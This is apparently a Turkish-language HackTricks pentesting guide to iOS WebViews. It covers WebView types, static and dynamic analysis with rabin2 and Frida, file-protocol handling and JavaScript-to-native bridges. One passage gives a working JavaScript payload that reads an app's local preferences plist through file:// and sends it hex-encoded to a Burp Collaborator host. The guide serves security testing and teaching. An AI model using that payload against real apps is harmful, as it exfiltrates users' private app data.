iOS WebViews

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Bu sayfanın kodu buradan çıkarılmıştır. Daha fazla detay için sayfayı kontrol edin.

WebView türleri

WebView'lar, uygulamalar içinde etkileşimli web içeriği görüntülemek için kullanılır. Farklı WebView türleri, iOS uygulamaları için farklı işlevsellikler ve güvenlik özellikleri sunar. İşte kısa bir genel bakış:

  • UIWebView, JavaScript'i devre dışı bırakma desteği olmadığı için iOS 12'den itibaren artık önerilmemektedir; bu da onu script injection ve Cross-Site Scripting (XSS) saldırılarına karşı savunmasız hale getirir.

  • WKWebView, uygulamalara web içeriği eklemek için tercih edilen seçenektir ve içerik üzerinde geliştirilmiş kontrol ve güvenlik özellikleri sunar. JavaScript varsayılan olarak etkindir, ancak gerekirse devre dışı bırakılabilir. Ayrıca, JavaScript'in otomatik olarak pencere açmasını önlemek için özellikler destekler ve tüm içeriğin güvenli bir şekilde yüklenmesini sağlar. Ayrıca, WKWebView'in mimarisi, bellek bozulması riskini ana uygulama sürecini etkilemeyecek şekilde en aza indirir.

  • SFSafariViewController, uygulamalar içinde standart bir web tarayıcı deneyimi sunar; okunabilir bir adres alanı, paylaşım ve navigasyon düğmeleri ile Safari'de içerik açmak için doğrudan bir bağlantı içeren belirli bir düzen ile tanınır. WKWebView'in aksine, SFSafariViewController'da JavaScript devre dışı bırakılamaz; ayrıca çerezleri ve verileri Safari ile paylaşır, bu da kullanıcı gizliliğini uygulamadan korur. App Store yönergelerine göre belirgin bir şekilde görüntülenmelidir.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Konfigürasyon Keşfi Özeti

Statik Analiz Genel Görünümü

WebViews konfigürasyonlarını incelerken, iki ana tür üzerinde durulmaktadır: UIWebView ve WKWebView. Bu WebView'ları bir ikili dosya içinde tanımlamak için, belirli sınıf referansları ve başlatma yöntemlerini arayan komutlar kullanılmaktadır.

  • UIWebView Tanımlaması

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Bu komut, ikili dosyada buna ilişkin metin dizelerini arayarak UIWebView örneklerini bulmaya yardımcı olur.

  • WKWebView Tanımlama

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Benzer şekilde, WKWebView için bu komut, kullanımını gösteren metin dizelerini bulmak için ikili dosyayı arar.

Ayrıca, bir WKWebView'in nasıl başlatıldığını bulmak için, başlatma ile ilgili yöntem imzasını hedef alan aşağıdaki komut çalıştırılır:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript Yapılandırma Doğrulaması

WKWebView için, JavaScript'in devre dışı bırakılmasının gerekli olmadıkça en iyi uygulama olduğu vurgulanmaktadır. Derlenmiş ikili dosya, javaScriptEnabled özelliğinin false olarak ayarlandığını doğrulamak için aranır, böylece JavaScript'in devre dışı olduğu garanti edilir:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Sadece Güvenli İçerik Doğrulaması

WKWebView, UIWebView ile karşılaştırıldığında karışık içerik sorunlarını tanımlama yeteneği sunar. Bu, tüm sayfa kaynaklarının güvenli bağlantılar üzerinden yüklendiğinden emin olmak için hasOnlySecureContent özelliği kullanılarak kontrol edilir. Derlenmiş ikide arama şu şekilde gerçekleştirilir:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Dinamik Analiz İçgörüleri

Dinamik analiz, WebView örneklerini ve özelliklerini incelemeyi içerir. Bu amaçla webviews_inspector.js adlı bir script kullanılır ve UIWebView, WKWebView ve SFSafariViewController örneklerini hedef alır. Bulunan örnekler hakkında, URL'ler ve JavaScript ile güvenli içerikle ilgili ayarlar dahil olmak üzere bilgi kaydeder.

Yığın incelemesi, WebView örneklerini tanımlamak ve javaScriptEnabled ve hasonlysecurecontent özelliklerini kontrol etmek için ObjC.choose() kullanılarak gerçekleştirilebilir.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Script şu şekilde çalıştırılır:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Ana Sonuçlar:

  • WebView örnekleri başarıyla bulunmuş ve incelenmiştir.

  • JavaScript etkinleştirme ve güvenli içerik ayarları doğrulanmıştır.

Bu özet, JavaScript etkinleştirme ve karışık içerik tespiti gibi güvenlik özelliklerine odaklanarak, WebView yapılandırmalarını statik ve dinamik yaklaşımlarla analiz etme sürecindeki kritik adımları ve komutları kapsar.

WebView Protokol Yönetimi

WebView'lerde içerik yönetimi, özellikle http(s)://, file:// ve tel:// gibi çeşitli protokollerle çalışırken kritik bir unsurdur. Bu protokoller, uygulamalar içinde hem uzaktan hem de yerel içeriğin yüklenmesini sağlar. Yerel içerik yüklenirken, kullanıcıların dosya adını veya yolunu etkilemesini ve içeriği düzenlemesini önlemek için önlemler alınması gerektiği vurgulanmaktadır.

WebView'ler, içerik yüklemek için farklı yöntemler sunar. Artık kullanılmayan UIWebView için loadHTMLString:baseURL: ve loadData:MIMEType:textEncodingName:baseURL: gibi yöntemler kullanılır. Diğer yandan, WKWebView, web içeriği için loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: ve loadRequest: yöntemlerini kullanır. Yerel dosyaları yüklemek için genellikle pathForResource:ofType:, URLForResource:withExtension: ve init(contentsOf:encoding:) gibi yöntemler kullanılır. loadFileURL:allowingReadAccessToURL: yöntemi, belirli bir URL veya dizini WebView'e yükleme yeteneği ile özellikle dikkat çekicidir; eğer bir dizin belirtilirse hassas verileri açığa çıkarabilir.

Bu yöntemleri kaynak kodunda veya derlenmiş ikili dosyada bulmak için aşağıdaki gibi komutlar kullanılabilir:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Dosya erişimi ile ilgili olarak, UIWebView evrensel olarak izin verirken, WKWebView dosya URL'lerinden erişimi yönetmek için allowFileAccessFromFileURLs ve allowUniversalAccessFromFileURLs ayarlarını tanıtır; her ikisi de varsayılan olarak false'dur.

Güvenlik ayarları için WKWebView yapılandırmalarını incelemek üzere bir Frida script örneği sağlanmıştır:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Son olarak, yerel dosyaları dışa aktarmayı amaçlayan bir JavaScript yükü, yanlış yapılandırılmış WebView'larla ilişkili potansiyel güvenlik riskini göstermektedir. Bu yük, dosya içeriklerini sunucuya iletmeden önce hex formatına kodlar, WebView uygulamalarında sıkı güvenlik önlemlerinin önemini vurgular.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

WebView'ler Üzerinden Açık Native Yöntemler

iOS'ta WebView Native Arayüzlerini Anlamak

iOS 7'den itibaren, Apple WebView'deki JavaScript ile native Swift veya Objective-C nesneleri arasında iletişim için API'ler sağladı. Bu entegrasyon esasen iki yöntemle sağlanmaktadır:

  • JSContext: Bir Swift veya Objective-C bloğu, bir JSContext içindeki bir tanımlayıcıya bağlandığında otomatik olarak bir JavaScript fonksiyonu oluşturulur. Bu, JavaScript ve native kod arasında sorunsuz bir entegrasyon ve iletişim sağlar.

  • JSExport Protokolü: JSExport protokolünü miras alarak, native özellikler, örnek yöntemler ve sınıf yöntemleri JavaScript'e açılabilir. Bu, JavaScript ortamında yapılan herhangi bir değişikliğin native ortamda yansıtıldığı ve tersinin de geçerli olduğu anlamına gelir. Ancak, bu yöntemle hassas verilerin istemeden açığa çıkmadığından emin olmak önemlidir.

Objective-C'de JSContext'e Erişim

Objective-C'de, bir UIWebView için JSContext aşağıdaki kod satırı ile alınabilir:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

WKWebView için, JSContext'e doğrudan erişim mevcut değildir. Bunun yerine, JavaScript ile yerel iletişim sağlamak için postMessage fonksiyonu aracılığıyla mesaj iletimi kullanılır. Bu mesajlar için işleyiciler aşağıdaki gibi ayarlanır, böylece JavaScript yerel uygulama ile güvenli bir şekilde etkileşimde bulunabilir:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Etkileşim ve Test

JavaScript, bir script mesaj işleyici tanımlayarak yerel katmanla etkileşimde bulunabilir. Bu, bir web sayfasından yerel işlevleri çağırmak gibi işlemlere olanak tanır:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Yerel bir fonksiyon çağrısının sonucunu yakalamak ve manipüle etmek için, HTML içindeki geri çağırma fonksiyonu geçersiz kılınabilir:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Yerel taraf, JavaScriptBridgeMessageHandler sınıfında gösterildiği gibi JavaScript çağrısını işler; burada sayıların çarpılması gibi işlemlerin sonuçları işlenir ve görüntüleme veya daha fazla manipülasyon için JavaScript'e geri gönderilir:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebView'lerini Hata Ayıklama

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS webview'leri içindeki web içeriğini etkili bir şekilde hata ayıklamak için, console.log()'a gönderilen mesajların Xcode günlüklerinde görüntülenmemesi nedeniyle Safari'nin geliştirici araçlarını içeren özel bir kurulum gereklidir. İşte ana adımları ve gereksinimleri vurgulayan basitleştirilmiş bir kılavuz:

  • iOS Cihazında Hazırlık: Safari Web Inspector, iOS cihazınızda etkinleştirilmelidir. Bu, Ayarlar > Safari > Gelişmiş bölümüne giderek ve Web Inspector seçeneğini etkinleştirerek yapılır.

  • macOS Cihazında Hazırlık: macOS geliştirme makinenizde, Safari içinde geliştirici araçlarını etkinleştirmeniz gerekir. Safari'yi başlatın, Safari > Tercihler > Gelişmiş bölümüne erişin ve Geliştir menüsünü Göster seçeneğini seçin.

  • Bağlantı ve Hata Ayıklama: iOS cihazınızı macOS bilgisayarınıza bağladıktan ve uygulamanızı başlattıktan sonra, macOS cihazınızdaki Safari'yi kullanarak hata ayıklamak istediğiniz webview'i seçin. Safari'nin menü çubuğunda Geliştir bölümüne gidin, iOS cihazınızın adının üzerine gelerek webview örneklerinin bir listesini görün ve incelemek istediğiniz örneği seçin. Bu amaçla yeni bir Safari Web Inspector penceresi açılacaktır.

Ancak, sınırlamaların farkında olun:

  • Bu yöntemle hata ayıklama, Safari'ye dayandığı için bir macOS cihazı gerektirir.

  • Sadece Xcode aracılığıyla cihazınıza yüklenen uygulamalardaki webview'ler hata ayıklama için uygundur. App Store veya Apple Configurator aracılığıyla yüklenen uygulamalardaki webview'ler bu şekilde hata ayıklanamaz.

Referanslar

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated